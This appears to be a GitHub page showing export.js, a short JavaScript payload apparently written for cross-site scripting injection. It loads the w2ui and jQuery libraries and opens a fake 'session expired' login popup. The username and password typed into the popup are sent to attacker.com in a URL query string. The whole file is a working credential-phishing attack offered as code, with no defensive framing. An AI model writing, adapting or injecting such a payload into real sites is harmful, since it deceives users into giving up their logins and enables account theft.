-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathexport.js
44 lines (38 loc) · 1.36 KB
/
export.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
var x = document.createElement('link');
x.rel = 'stylesheet';
x.href='http://w2ui.com/src/w2ui-1.4.2.min.css';
document.getElementsByTagName('head')[0].appendChild(x);
x = document.createElement('script');
x.src='http://w2ui.com/src/w2ui-1.4.2.min.js';
document.getElementsByTagName('head')[0].appendChild(x);
x = document.createElement('script');
x.src='http://ajax.googleapis.com/ajax/libs/jquery/2.1.0/jquery.min.js';
document.getElementsByTagName('head')[0].appendChild(x);
setTimeout(payload, 2000);
function payload() {
w2popup.open({
width: 400,
height: 300,
title: '<div style="">Log-in for session</div>',
body: '<div class="w2ui-centered" style="position:static; margin-top:20%">\
Your session has expired. Please log-in again</div>\
<div style="margin-left:17%">\
<table>\
<tr>\
<td>Username:</td>\
<td><input type="text" name="user" class="user"></td>\
</tr>\
<tr>\
<td>Password:</td>\
<td><input type="password" name="pass" class="pass"></td>\
</tr>\
</table>\
</div>',
buttons: '<button class="btn" onclick="get()">Login</button>'
});
}
function get() {
var username = $(".user").val();
var password = $(".pass").val();
window.location = "http://attacker.com/?u=" + username + "&p=" + password;
}